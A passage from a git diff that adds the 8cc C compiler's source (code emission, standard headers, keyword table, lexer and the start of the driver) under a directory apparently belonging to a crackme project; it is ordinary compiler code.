emit(".long %s+%u", base->glabel, v * ty->ptr->size); +#endif + } + break; + default: + error("don't know how to handle\n <%s>\n <%s>", ty2s(ty), node2s(val)); + } +} + +static void do_emit_data(Vector *inits, int size, int off, int depth) { + SAVE; + for (int i = 0; i < vec_len(inits) && 0 < size && size != -1; i++) { + Node *node = vec_get(inits, i); + Node *v = node->initval; + emit_padding(node, off); + // TODO: Fix! + //if (node->totype->bitsize > 0 && node->totype->bitsize != -1) { + if (0) { + assert(node->totype->bitoff == 0); + long data = eval_intexpr(v, NULL); + Type *totype = node->totype; + for (i++ ; i < vec_len(inits); i++) { + node = vec_get(inits, i); + if (node->totype->bitsize <= 0) { + break; + } + v = node->initval; + totype = node->totype; + data |= ((((long)1 << totype->bitsize) - 1) & eval_intexpr(v, NULL)) << totype->bitoff; + } + emit_data_primtype(totype, &(Node){ AST_LITERAL, totype, .ival = data }, depth); + off += totype->size; + size -= totype->size; + if (i == vec_len(inits)) + break; + } else { + off += node->totype->size; + size -= node->totype->size; + } + if (v->kind == AST_ADDR) { + emit_data_addr(v->operand, depth); + continue; + } + if (v->kind == AST_LVAR && v->lvarinit) { + do_emit_data(v->lvarinit, v->ty->size, 0, depth); + continue; + } + emit_data_primtype(node->totype, node->initval, depth); + } + emit_zero(size); +} + +static void emit_data(Node *v, int off, int depth) { + SAVE; + emit(".data %d", depth); +#if 0 + if (!v->declvar->ty->isstatic) + emit_noindent(".global %s", v->declvar->glabel); +#endif + emit_noindent("%s:", v->declvar->glabel); + do_emit_data(v->declinit, v->declvar->ty->size, off, depth); +} + +static void emit_bss(Node *v) { + SAVE; + emit(".data"); +#if 0 + if (!v->declvar->ty->isstatic) + emit(".global %s", v->declvar->glabel); + emit(".lcomm %s, %d", v->declvar->glabel, v->declvar->ty->size); +#else + int i; + emit("%s:\n", v->declvar->glabel); + for (i = 0; i < v->declvar->ty->size && v->declvar->ty->size != -1; i++) { + emit(".long 0"); + } +#endif +} + +static void emit_global_var(Node *v) { + SAVE; + if (v->declinit) + emit_data(v, 0, 0); + else + emit_bss(v); +} + +static void assign_func_param_offsets(Vector *params, int off) { + int arg = 2; + for (int i = 0; i < vec_len(params); i++) { + Node *v = vec_get(params, i); + if (is_flotype(v->ty)) + assert_float(); + v->loff = arg++; + } +} + +static void emit_func_prologue(Node *func) { + SAVE; + emit(".text"); + emit_noindent("%s:", func->fname); + current_func_name = func->fname; + emit_nostack("#{push:%s}", func->fname); + + push("BP"); + emit("mov BP, SP"); + int off = 0; + assign_func_param_offsets(func->params, off); + + int localarea = 0; + for (int i = 0; i < vec_len(func->localvars); i++) { + Node *v = vec_get(func->localvars, i); + int size = v->ty->size; + off -= size; + v->loff = off; + localarea += size; + } + if (localarea) { + emit("sub SP, %d", localarea); + stackpos += localarea; + } +} + +void emit_toplevel(Node *v) { + stackpos = 1; + if (v->kind == AST_FUNC) { + is_main = !strcmp(v->fname, "main"); + emit_func_prologue(v); + emit_expr(v->body); + emit_ret(); + is_main = 0; + } else if (v->kind == AST_DECL) { + emit_global_var(v); + } else { + error("internal error"); + } +} diff --git a/crackme.tscript.dso/elvm/8cc/include/float.h b/crackme.tscript.dso/elvm/8cc/include/float.h new file mode 100644 index 0000000..a3c8b93 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/include/float.h @@ -0,0 +1,44 @@ +// Copyright 2014 Rui Ueyama. Released under the MIT license. + +#ifndef __STDFLOAT_H +#define __STDFLOAT_H + +#define DECIMAL_DIG 21 +#define FLT_EVAL_METHOD 0 // C11 5.2.4.2.2p9 +#define FLT_RADIX 2 +#define FLT_ROUNDS 1 // C11 5.2.4.2.2p8: to nearest + +#define FLT_DIG 6 +#define FLT_EPSILON 0x1p-23 +#define FLT_MANT_DIG 24 +#define FLT_MAX 0x1.fffffep+127 +#define FLT_MAX_10_EXP 38 +#define FLT_MAX_EXP 128 +#define FLT_MIN 0x1p-126 +#define FLT_MIN_10_EXP -37 +#define FLT_MIN_EXP -125 +#define FLT_TRUE_MIN 0x1p-149 + +#define DBL_DIG 15 +#define DBL_EPSILON 0x1p-52 +#define DBL_MANT_DIG 53 +#define DBL_MAX 0x1.fffffffffffffp+1023 +#define DBL_MAX_10_EXP 308 +#define DBL_MAX_EXP 1024 +#define DBL_MIN 0x1p-1022 +#define DBL_MIN_10_EXP -307 +#define DBL_MIN_EXP -1021 +#define DBL_TRUE_MIN 0x0.0000000000001p-1022 + +#define LDBL_DIG 15 +#define LDBL_EPSILON 0x1p-52 +#define LDBL_MANT_DIG 53 +#define LDBL_MAX 0x1.fffffffffffffp+1023 +#define LDBL_MAX_10_EXP 308 +#define LDBL_MAX_EXP 1024 +#define LDBL_MIN 0x1p-1022 +#define LDBL_MIN_10_EXP -307 +#define LDBL_MIN_EXP -1021 +#define LDBL_TRUE_MIN 0x0.0000000000001p-1022 + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/include/iso646.h b/crackme.tscript.dso/elvm/8cc/include/iso646.h new file mode 100644 index 0000000..0edafd4 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/include/iso646.h @@ -0,0 +1,20 @@ +// Copyright 2014 Rui Ueyama. Released under the MIT license. + +// C11 7.9 Alternative Spellings + +#ifndef __ISO646_H +#define __ISO646_H + +#define and && +#define and_eq &= +#define bitand & +#define bitor | +#define compl ~ +#define not ! +#define not_eq != +#define or || +#define or_eq |= +#define xor ^ +#define xor_eq ^= + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/include/stdalign.h b/crackme.tscript.dso/elvm/8cc/include/stdalign.h new file mode 100644 index 0000000..03db5d6 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/include/stdalign.h @@ -0,0 +1,11 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#ifndef __STDALIGN_H +#define __STDALIGN_H + +#define alignas _Alignas +#define alignof _Alignof +#define __alignas_is_defined 1 +#define __alignof_is_defined 1 + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/include/stdarg.h b/crackme.tscript.dso/elvm/8cc/include/stdarg.h new file mode 100644 index 0000000..ffe2b91 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/include/stdarg.h @@ -0,0 +1,52 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#ifndef __STDARG_H +#define __STDARG_H + +/** + * Refer this document for the x86-64 ABI. + * http://www.x86-64.org/documentation/abi.pdf + */ + +typedef struct { + unsigned int gp_offset; + unsigned int fp_offset; + void *overflow_arg_area; + void *reg_save_area; +} __va_elem; + +typedef __va_elem va_list[1]; + +static void *__va_arg_gp(__va_elem *ap) { + void *r = (char *)ap->reg_save_area + ap->gp_offset; + ap->gp_offset += 8; + return r; +} + +static void *__va_arg_fp(__va_elem *ap) { + void *r = (char *)ap->reg_save_area + ap->fp_offset; + ap->fp_offset += 16; + return r; +} + +static void *__va_arg_mem(__va_elem *ap) { + 1 / 0; // unimplemented +} + +#define va_start(ap, last) __builtin_va_start(ap) +#define va_arg(ap, type) \ + ({ \ + int klass = __builtin_reg_class((type *)0); \ + *(type *)(klass == 0 ? __va_arg_gp(ap) : \ + klass == 1 ? __va_arg_fp(ap) : \ + __va_arg_mem(ap)); \ + }) + +#define va_end(ap) 1 +#define va_copy(dest, src) ((dest)[0] = (src)[0]) + +// Workaround to load stdio.h properly +#define __GNUC_VA_LIST 1 +typedef va_list __gnuc_va_list; + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/include/stdbool.h b/crackme.tscript.dso/elvm/8cc/include/stdbool.h new file mode 100644 index 0000000..d590ca6 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/include/stdbool.h @@ -0,0 +1,11 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#ifndef __STDBOOL_H +#define __STDBOOL_H + +#define bool _Bool +#define true 1 +#define false 0 +#define __bool_true_false_are_defined 1 + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/include/stddef.h b/crackme.tscript.dso/elvm/8cc/include/stddef.h new file mode 100644 index 0000000..32998f8 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/include/stddef.h @@ -0,0 +1,15 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#ifndef __STDDEF_H +#define __STDDEF_H + +#define NULL ((void *)0) + +typedef unsigned long size_t; +typedef long ptrdiff_t; +typedef unsigned int wchar_t; +typedef long double max_align_t; + +#define offsetof(type, member) ((size_t)&(((type *)0)->member)) + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/include/stdnoreturn.h b/crackme.tscript.dso/elvm/8cc/include/stdnoreturn.h new file mode 100644 index 0000000..23a7684 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/include/stdnoreturn.h @@ -0,0 +1,8 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#ifndef __STDNORETURN_H +#define __STDNORETURN_H + +#define noreturn _Noreturn + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/keyword.inc b/crackme.tscript.dso/elvm/8cc/keyword.inc new file mode 100644 index 0000000..67b74c1 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/keyword.inc @@ -0,0 +1,69 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +op(OP_ARROW, "->") +op(OP_A_ADD, "+=") +op(OP_A_AND, "&=") +op(OP_A_DIV, "/=") +op(OP_A_MOD, "%=") +op(OP_A_MUL, "*=") +op(OP_A_OR, "|=") +op(OP_A_SAL, "<<=") +op(OP_A_SAR, ">>=") +op(OP_A_SUB, "-=") +op(OP_A_XOR, "^=") +op(OP_DEC, "--") +op(OP_EQ, "==") +op(OP_GE, ">=") +op(OP_INC, "++") +op(OP_LE, "<=") +op(OP_LOGAND, "&&") +op(OP_LOGOR, "||") +op(OP_NE, "!=") +op(OP_SAL, "<<") +op(OP_SAR, ">>") + +keyword(KALIGNAS, "_Alignas", true) +keyword(KALIGNOF, "_Alignof", false) +keyword(KAUTO, "auto", true) +keyword(KBOOL, "_Bool", true) +keyword(KBREAK, "break", false) +keyword(KCASE, "case", false) +keyword(KCHAR, "char", true) +keyword(KCOMPLEX, "_Complex", true) +keyword(KCONST, "const", true) +keyword(KCONTINUE, "continue", false) +keyword(KDEFAULT, "default", false) +keyword(KDO, "do", false) +keyword(KDOUBLE, "double", true) +keyword(KELSE, "else", false) +keyword(KENUM, "enum", true) +keyword(KEXTERN, "extern", true) +keyword(KFLOAT, "float", true) +keyword(KFOR, "for", false) +keyword(KGENERIC, "_Generic", false) +keyword(KGOTO, "goto", false) +keyword(KIF, "if", false) +keyword(KIMAGINARY, "_Imaginary", true) +keyword(KINLINE, "inline", true) +keyword(KINT, "int", true) +keyword(KLONG, "long", true) +keyword(KNORETURN, "_Noreturn", true) +keyword(KREGISTER, "register", true) +keyword(KRESTRICT, "restrict", true) +keyword(KRETURN, "return", false) +keyword(KHASHHASH, "##", false) +keyword(KSHORT, "short", true) +keyword(KSIGNED, "signed", true) +keyword(KSIZEOF, "sizeof", false) +keyword(KSTATIC, "static", true) +keyword(KSTATIC_ASSERT, "_Static_assert", false) +keyword(KSTRUCT, "struct", true) +keyword(KSWITCH, "switch", false) +keyword(KELLIPSIS, "...", false) +keyword(KTYPEDEF, "typedef", true) +keyword(KTYPEOF, "typeof", true) +keyword(KUNION, "union", true) +keyword(KUNSIGNED, "unsigned", true) +keyword(KVOID, "void", true) +keyword(KVOLATILE, "volatile", true) +keyword(KWHILE, "while", false) diff --git a/crackme.tscript.dso/elvm/8cc/lex.c b/crackme.tscript.dso/elvm/8cc/lex.c new file mode 100644 index 0000000..78b0f9e --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/lex.c @@ -0,0 +1,619 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +/* + * Tokenizer + * + * This is a translation phase after the phase 1 and 2 in file.c. + * In this phase, the source code is decomposed into preprocessing tokens. + * + * Each comment is treated as if it were a space character. + * Space characters are removed, but the presence of the characters is + * recorded to the token that immediately follows the spaces as a boolean flag. + * Newlines are converted to newline tokens. + * + * Note that the pp-token is different from the regular token. + * A keyword, such as "if", is just an identifier at this stage. + * The definition of the pp-token is usually more relaxed than + * the regular one. For example, ".32e." is a valid pp-number. + * Pp-tokens are converted to regular tokens by the C preprocesor + * (and invalid tokens are rejected by that). + * Some tokens are removed by the preprocessor (e.g. newline). + * For more information about pp-tokens, see C11 6.4 "Lexical Elements". + */ + +#include +#include +#include +#include +#include "8cc.h" + +static Vector *buffers = &EMPTY_VECTOR; +static Token *space_token = &(Token){ TSPACE }; +static Token *newline_token = &(Token){ TNEWLINE }; +static Token *eof_token = &(Token){ TEOF }; + +typedef struct { + int line; + int column; +} Pos; + +static Pos pos; + +static char *pos_string(Pos *p) { + File *f = current_file(); + return format("%s:%d:%d", f ? f->name : "(unknown)", p->line, p->column); +} + +#define errorp(p, ...) errorf(__FILE__ ":" STR(__LINE__), pos_string(&p), __VA_ARGS__) +#define warnp(p, ...) warnf(__FILE__ ":" STR(__LINE__), pos_string(&p), __VA_ARGS__) + +static void skip_block_comment(void); + +void lex_init(char *filename) { + vec_push(buffers, make_vector()); + if (!strcmp(filename, "-")) { + stream_push(make_file(stdin, "-")); + return; + } +#ifndef __eir__ + FILE *fp = fopen(filename, "r"); + if (!fp) + error("Cannot open %s: %s", filename, strerror(errno)); + stream_push(make_file(fp, filename)); +#endif +} + +static void get_pos(int delta, Pos* pos) { + File *f = current_file(); + pos->line = f->line; + pos->column = f->column + delta; +} + +static void mark() { + get_pos(0, &pos); +} + +static Token *make_token(Token *tmpl) { + Token *r = malloc(sizeof(Token)); + *r = *tmpl; + r->hideset = NULL; + File *f = current_file(); + r->file = f; + r->line = pos.line; + r->column = pos.column; + r->count = f->ntok++; + return r; +} + +static Token *make_ident(char *p) { + return make_token(&(Token){ TIDENT, .sval = p }); +} + +static Token *make_strtok(char *s, int len, int enc) { + return make_token(&(Token){ TSTRING, .sval = s, .slen = len, .enc = enc }); +} + +static Token *make_keyword(int id) { + return make_token(&(Token){ TKEYWORD, .id = id }); +} + +static Token *make_number(char *s) { + return make_token(&(Token){ TNUMBER, .sval = s }); +} + +static Token *make_invalid(char c) { + return make_token(&(Token){ TINVALID, .c = c }); +} + +static Token *make_char(int c, int enc) { + return make_token(&(Token){ TCHAR, .c = c, .enc = enc }); +} + +static bool iswhitespace(int c) { + return c == ' ' || c == '\t' || c == '\f' || c == '\v'; +} + +static int lex_peek() { + int r = readc(); + unreadc(r); + return r; +} + +static bool next(int expect) { + int c = readc(); + if (c == expect) + return true; + unreadc(c); + return false; +} + +static void skip_line() { + for (;;) { + int c = readc(); + if (c == EOF) + return; + if (c == '\n') { + unreadc(c); + return; + } + } +} + +static bool do_skip_space() { + int c = readc(); + if (c == EOF) + return false; + if (iswhitespace(c)) + return true; + if (c == '/') { + if (next('*')) { + skip_block_comment(); + return true; + } + if (next('/')) { + skip_line(); + return true; + } + } + unreadc(c); + return false; +} + +// Skips spaces including comments. +// Returns true if at least one space is skipped. +static bool skip_space() { + if (!do_skip_space()) + return false; + while (do_skip_space()); + return true; +} + +static void skip_char() { + if (readc() == '\\') + readc(); + int c = readc(); + while (c != EOF && c != '\'') + c = readc(); +} + +static void skip_string() { + for (int c = readc(); c != EOF && c != '"'; c = readc()) + if (c == '\\') + readc(); +} + +// Skips a block of code excluded from input by #if, #ifdef and the like. +// C11 6.10 says that code within #if and #endif needs to be a sequence of +// valid tokens even if skipped. However, in reality, most compilers don't +// tokenize nor validate contents. We don't do that, too. +// This function is to skip code until matching #endif as fast as we can. +void skip_cond_incl() { + int nest = 0; + for (;;) { + bool bol = (current_file()->column == 1); + skip_space(); + int c = readc(); + if (c == EOF) + return; + if (c == '\'') { + skip_char(); + continue; + } + if (c == '\"') { + skip_string(); + continue; + } + if (c != '#' || !bol) + continue; + int column = current_file()->column - 1; + Token *tok = lex(); + if (tok->kind != TIDENT) + continue; + if (!nest && (is_ident(tok, "else") || is_ident(tok, "elif") || is_ident(tok, "endif"))) { + unget_token(tok); + Token *hash = make_keyword('#'); + hash->bol = true; + hash->column = column; + unget_token(hash); + return; + } + if (is_ident(tok, "if") || is_ident(tok, "ifdef") || is_ident(tok, "ifndef")) + nest++; + else if (nest && is_ident(tok, "endif")) + nest--; + skip_line(); + } +} + +// Reads a number literal. Lexer's grammar on numbers is not strict. +// Integers and floating point numbers and different base numbers are not distinguished. +static Token *lex_read_number(char c) { + Buffer *b = make_buffer(); + buf_write(b, c); + char last = c; + for (;;) { + int c = readc(); + bool flonum = strchr("eEpP", last) && strchr("+-", c); + if (!isdigit(c) && !isalpha(c) && c != '.' && !flonum) { + unreadc(c); + buf_write(b, '\0'); + return make_number(buf_body(b)); + } + buf_write(b, c); + last = c; + } +} + +static bool nextoct() { + int c = lex_peek(); + return '0' <= c && c <= '7'; +} + +// Reads an octal escape sequence. +static int read_octal_char(int c) { + int r = c - '0'; + if (!nextoct()) + return r; + r = (r << 3) | (readc() - '0'); + if (!nextoct()) + return r; + return (r << 3) | (readc() - '0'); +} + +// Reads a \x escape sequence. +static int read_hex_char() { + Pos p; + get_pos(-2, &p); + int c = readc(); + if (!isxdigit(c)) + errorp(p, "\\x is not followed by a hexadecimal character: %c", c); + int r = 0; + for (;; c = readc()) { + switch (c) { + case '0' ... '9': r = (r << 4) | (c - '0'); continue; + case 'a' ... 'f': r = (r << 4) | (c - 'a' + 10); continue; + case 'A' ... 'F': r = (r << 4) | (c - 'A' + 10); continue; + default: unreadc(c); return r; + } + } +} + +static bool is_valid_ucn(unsigned int c) { + // C11 6.4.3p2: U+D800 to U+DFFF are reserved for surrogate pairs. + // A codepoint within the range cannot be a valid character. + if (0xD800 <= c && c <= 0xDFFF) + return false; + // It's not allowed to encode ASCII characters using \U or \u. + // Some characters not in the basic character set (C11 5.2.1p3) + // are allowed as exceptions. + return 0xA0 <= c || c == '$' || c == '@' || c == '`'; +} + +// Reads \u or \U escape sequences. len is 4 or 8, respecitvely. +static int read_universal_char(int len) { + Pos p; + get_pos(-2, &p); + unsigned int r = 0; + for (int i = 0; i < len; i++) { + char c = readc(); + switch (c) { + case '0' ... '9': r = (r << 4) | (c - '0'); continue; + case 'a' ... 'f': r = (r << 4) | (c - 'a' + 10); continue; + case 'A' ... 'F': r = (r << 4) | (c - 'A' + 10); continue; + default: errorp(p, "invalid universal character: %c", c); + } + } + if (!is_valid_ucn(r)) + errorp(p, "invalid universal character: \\%c%0*x", (len == 4) ? 'u' : 'U', len, r); + return r; +} + +static int read_escaped_char() { + Pos p; + get_pos(-1, &p); + int c = readc(); + // This switch-cases is an interesting example of magical aspects + // of self-hosting compilers. Here, we teach the compiler about + // escaped sequences using escaped sequences themselves. + // This is a tautology. The information about their real character + // codes is not present in the source code but propagated from + // a compiler compiling the source code. + // See "Reflections on Trusting Trust" by Ken Thompson for more info. + // http://cm.bell-labs.com/who/ken/trust.html + switch (c) { + case '\'': case '"': case '?': case '\\': + return c; + case 'a': return '\a'; + case 'b': return '\b'; + case 'f': return '\f'; + case 'n': return '\n'; + case 'r': return '\r'; + case 't': return '\t'; + case 'v': return '\v'; + case 'e': return '\033'; // '\e' is GNU extension + case 'x': return read_hex_char(); + case 'u': return read_universal_char(4); + case 'U': return read_universal_char(8); + case '0' ... '7': return read_octal_char(c); + } + warnp(p, "unknown escape character: \\%c", c); + return c; +} + +static Token *read_char(int enc) { + int c = readc(); + int r = (c == '\\') ? read_escaped_char() : c; + c = readc(); + if (c != '\'') + errorp(pos, "unterminated char"); + if (enc == ENC_NONE) + return make_char((char)r, enc); + return make_char(r, enc); +} + +// Reads a string literal. +static Token *read_string(int enc) { + Buffer *b = make_buffer(); + for (;;) { + int c = readc(); + if (c == EOF) + errorp(pos, "unterminated string"); + if (c == '"') + break; + if (c != '\\') { + buf_write(b, c); + continue; + } + bool isucs = (lex_peek() == 'u' || lex_peek() == 'U'); + c = read_escaped_char(); + if (isucs) { + write_utf8(b, c); + continue; + } + buf_write(b, c); + } + buf_write(b, '\0'); + return make_strtok(buf_body(b), buf_len(b), enc); +} + +static Token *read_ident(char c) { + Buffer *b = make_buffer(); + buf_write(b, c); + for (;;) { + c = readc(); + if (isalnum(c) || (c & 0x80) || c == '_' || c == '$') { + buf_write(b, c); + continue; + } + // C11 6.4.2.1: \u or \U characters (universal-character-name) + // are allowed to be part of identifiers. + if (c == '\\' && (lex_peek() == 'u' || lex_peek() == 'U')) { + write_utf8(b, read_escaped_char()); + continue; + } + unreadc(c); + buf_write(b, '\0'); + return make_ident(buf_body(b)); + } +} + +static void skip_block_comment() { + Pos p; + get_pos(-2, &p); + bool maybe_end = false; + for (;;) { + int c = readc(); + if (c == EOF) + errorp(p, "premature end of block comment"); + if (c == '/' && maybe_end) + return; + maybe_end = (c == '*'); + } +} + +// Reads a digraph starting with '%'. Digraphs are alternative spellings +// for some punctuation characters. They are useless in ASCII. +// We implement this just for the standard compliance. +// See C11 6.4.6p3 for the spec. +static Token *read_hash_digraph() { + if (next('>')) + return make_keyword('}'); + if (next(':')) { + if (next('%')) { + if (next(':')) + return make_keyword(KHASHHASH); + unreadc('%'); + } + return make_keyword('#'); + } + return NULL; +} + +static Token *read_rep(char expect, int t1, int els) { + return make_keyword(next(expect) ? t1 : els); +} + +static Token *read_rep2(char expect1, int t1, char expect2, int t2, char els) { + if (next(expect1)) + return make_keyword(t1); + return make_keyword(next(expect2) ? t2 : els); +} + +static Token *do_read_token() { + if (skip_space()) + return space_token; + mark(); + int c = readc(); + switch (c) { + case '\n': return newline_token; + case ':': return make_keyword(next('>') ? ']' : ':'); + case '#': return make_keyword(next('#') ? KHASHHASH : '#'); + case '+': return read_rep2('+', OP_INC, '=', OP_A_ADD, '+'); + case '*': return read_rep('=', OP_A_MUL, '*'); + case '=': return read_rep('=', OP_EQ, '='); + case '!': return read_rep('=', OP_NE, '!'); + case '&': return read_rep2('&', OP_LOGAND, '=', OP_A_AND, '&'); + case '|': return read_rep2('|', OP_LOGOR, '=', OP_A_OR, '|'); + case '^': return read_rep('=', OP_A_XOR, '^'); + case '"': return read_string(ENC_NONE); + case '\'': return read_char(ENC_NONE); + case '/': return make_keyword(next('=') ? OP_A_DIV : '/'); + case 'a' ... 't': case 'v' ... 'z': case 'A' ... 'K': + case 'M' ... 'T': case 'V' ... 'Z': case '_': case '$': + case 0x80 ... 0xFD: + return read_ident(c); + case '0' ... '9': + return lex_read_number(c); + case 'L': case 'U': { + // Wide/char32_t character/string literal + int enc = (c == 'L') ? ENC_WCHAR : ENC_CHAR32; + if (next('"')) return read_string(enc); + if (next('\'')) return read_char(enc); + return read_ident(c); + } + case 'u': + if (next('"')) return read_string(ENC_CHAR16); + if (next('\'')) return read_char(ENC_CHAR16); + // C11 6.4.5: UTF-8 string literal + if (next('8')) { + if (next('"')) + return read_string(ENC_UTF8); + unreadc('8'); + } + return read_ident(c); + case '.': + if (isdigit(lex_peek())) + return lex_read_number(c); + if (next('.')) { + if (next('.')) + return make_keyword(KELLIPSIS); + return make_ident(".."); + } + return make_keyword('.'); + case '(': case ')': case ',': case ';': case '[': case ']': case '{': + case '}': case '?': case '~': + return make_keyword(c); + case '-': + if (next('-')) return make_keyword(OP_DEC); + if (next('>')) return make_keyword(OP_ARROW); + if (next('=')) return make_keyword(OP_A_SUB); + return make_keyword('-'); + case '<': + if (next('<')) return read_rep('=', OP_A_SAL, OP_SAL); + if (next('=')) return make_keyword(OP_LE); + if (next(':')) return make_keyword('['); + if (next('%')) return make_keyword('{'); + return make_keyword('<'); + case '>': + if (next('=')) return make_keyword(OP_GE); + if (next('>')) return read_rep('=', OP_A_SAR, OP_SAR); + return make_keyword('>'); + case '%': { + Token *tok = read_hash_digraph(); + if (tok) + return tok; + return read_rep('=', OP_A_MOD, '%'); + } + case EOF: + return eof_token; + default: return make_invalid(c); + } +} + +static bool buffer_empty() { + return vec_len(buffers) == 1 && vec_len(vec_head(buffers)) == 0; +} + +// Reads a header file name for #include. +// +// Filenames after #include need a special tokenization treatment. +// A filename string may be quoted by < and > instead of "". +// Even if it's quoted by "", it's still different from a regular string token. +// For example, \ in this context is not interpreted as a quote. +// Thus, we cannot use lex() to read a filename. +// +// That the C preprocessor requires a special lexer behavior only for +// #include is a violation of layering. Ideally, the lexer should be +// agnostic about higher layers status. But we need this for the C grammar. +char *read_header_file_name(bool *std) { + if (!buffer_empty()) + return NULL; + skip_space(); + Pos p; + get_pos(0, &p); + char close; + if (next('"')) { + *std = false; + close = '"'; + } else if (next('<')) { + *std = true; + close = '>'; + } else { + return NULL; + } + Buffer *b = make_buffer(); + while (!next(close)) { + int c = readc(); + if (c == EOF || c == '\n') + errorp(p, "premature end of header name"); + buf_write(b, c); + } + if (buf_len(b) == 0) + errorp(p, "header name should not be empty"); + buf_write(b, '\0'); + return buf_body(b); +} + +bool is_keyword(Token *tok, int c) { + return (tok->kind == TKEYWORD) && (tok->id == c); +} + +// Temporarily switches the input token stream to given list of tokens, +// so that you can get the tokens as return values of lex() again. +// After the tokens are exhausted, EOF is returned from lex() until +// "unstash" is called to restore the original state. +void token_buffer_stash(Vector *buf) { + vec_push(buffers, buf); +} + +void token_buffer_unstash() { + vec_pop(buffers); +} + +void unget_token(Token *tok) { + if (tok->kind == TEOF) + return; + Vector *buf = vec_tail(buffers); + vec_push(buf, tok); +} + +// Reads a token from a given string. +// This function temporarily switches the main input stream to +// a given string and reads one token. +Token *lex_string(char *s) { + stream_stash(make_file_string(s)); + Token *r = do_read_token(); + next('\n'); + Pos p; + get_pos(0, &p); + if (lex_peek() != EOF) + errorp(p, "unconsumed input: %s", s); + stream_unstash(); + return r; +} + +Token *lex() { + Vector *buf = vec_tail(buffers); + if (vec_len(buf) > 0) + return vec_pop(buf); + if (vec_len(buffers) > 1) + return eof_token; + bool bol = (current_file()->column == 1); + Token *tok = do_read_token(); + while (tok->kind == TSPACE) { + tok = do_read_token(); + tok->space = true; + } + tok->bol = bol; + return tok; +} diff --git a/crackme.tscript.dso/elvm/8cc/main.c b/crackme.tscript.dso/elvm/8cc/main.c new file mode 100644 index 0000000..89f5fd4 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/main.c @@ -0,0 +1,218 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#include +#include +#include +#include +#include +#include +#include "8cc.h" + +static char *infile; +static char *outfile; +static char *asmfile; +static bool dumpast; +static bool cpponly; +static bool dumpasm; +static bool dontlink; +static Buffer *cppdefs; +static Vector *tmpfiles = &EMPTY_VECTOR; + +#ifndef __eir__ +static void usage(int exitcode) { + fprintf(exitcode ? stderr : stdout, + "Usage: 8cc [ -E ][ -a ] [ -h ] \n\n" + "\n" + " -I add to include path\n" + " -E print preprocessed source code\n" + " -D name Predefine name as a macro\n" + " -D name=def\n" + " -S Stop before assembly (default)\n" + " -c Do not run linker (default)\n" + " -U name Undefine name\n" + " -fdump-ast print AST\n" + " -fdump-stack Print stacktrace\n" + " -fno-dump-source Do not emit source code as assembly comment\n" + " -o filename Output to the specified file\n" + " -g Do nothing at this moment\n" + " -Wall Enable all warnings\n" + " -Werror Make all warnings into errors\n" + " -O Does nothing at this moment\n" + " -m64 Output 64-bit code (default)\n" + " -w Disable all warnings\n" + " -h print this help\n" + "\n" + "One of -a, -c, -E or -S must be specified.\n\n"); + exit(exitcode); +} + +static void delete_temp_files() { + for (int i = 0; i < vec_len(tmpfiles); i++) + unlink(vec_get(tmpfiles, i)); +} + +static char *base(char *path) { + return basename(strdup(path)); +} + +static char *replace_suffix(char *filename, char suffix) { + char *r = format("%s", filename); + char *p = r + strlen(r) - 1; + if (*p != 'c') + error("filename suffix is not .c"); + *p = suffix; + return r; +} + +static FILE *open_asmfile() { + if (dumpasm) { + asmfile = outfile ? outfile : replace_suffix(base(infile), 's'); + } else { + asmfile = format("/tmp/8ccXXXXXX.s"); + if (!mkstemps(asmfile, 2)) + perror("mkstemps"); + vec_push(tmpfiles, asmfile); + } + if (!strcmp(asmfile, "-")) + return stdout; + FILE *fp = fopen(asmfile, "w"); + if (!fp) + perror("fopen"); + return fp; +} + +static void parse_warnings_arg(char *s) { + if (!strcmp(s, "error")) + warning_is_error = true; + else if (strcmp(s, "all")) + error("unknown -W option: %s", s); +} + +static void parse_f_arg(char *s) { + if (!strcmp(s, "dump-ast")) + dumpast = true; + else if (!strcmp(s, "dump-stack")) + dumpstack = true; + else if (!strcmp(s, "no-dump-source")) + dumpsource = false; + else + usage(1); +} + +static void parse_m_arg(char *s) { + if (strcmp(s, "64")) + error("Only 64 is allowed for -m, but got %s", s); +} + +static void parseopt(int argc, char **argv) { + cppdefs = make_buffer(); + for (;;) { + int opt = getopt(argc, argv, "I:ED:O:SU:W:acd:f:gm:o:hw"); + if (opt == -1) + break; + switch (opt) { + case 'I': add_include_path(optarg); break; + case 'E': cpponly = true; break; + case 'D': { + char *p = strchr(optarg, '='); + if (p) + *p = ' '; + buf_printf(cppdefs, "#define %s\n", optarg); + break; + } + case 'O': break; + case 'S': dumpasm = true; break; + case 'U': + buf_printf(cppdefs, "#undef %s\n", optarg); + break; + case 'W': parse_warnings_arg(optarg); break; + case 'c': dontlink = true; break; + case 'f': parse_f_arg(optarg); break; + case 'm': parse_m_arg(optarg); break; + case 'g': break; + case 'o': outfile = optarg; break; + case 'w': enable_warning = false; break; + case 'h': + usage(0); + default: + usage(1); + } + } + if (optind != argc - 1) + usage(1); + + if (!dumpast && !cpponly && !dumpasm && !dontlink) + error("One of -a, -c, -E or -S must be specified"); + infile = argv[optind]; +} +#endif + +char *get_base_file() { + return infile; +} + +static void preprocess() { + for (;;) { + Token *tok = read_token(); + if (tok->kind == TEOF) + break; + if (tok->bol) + printf("\n"); + if (tok->space) + printf(" "); + printf("%s", tok2s(tok)); + } + 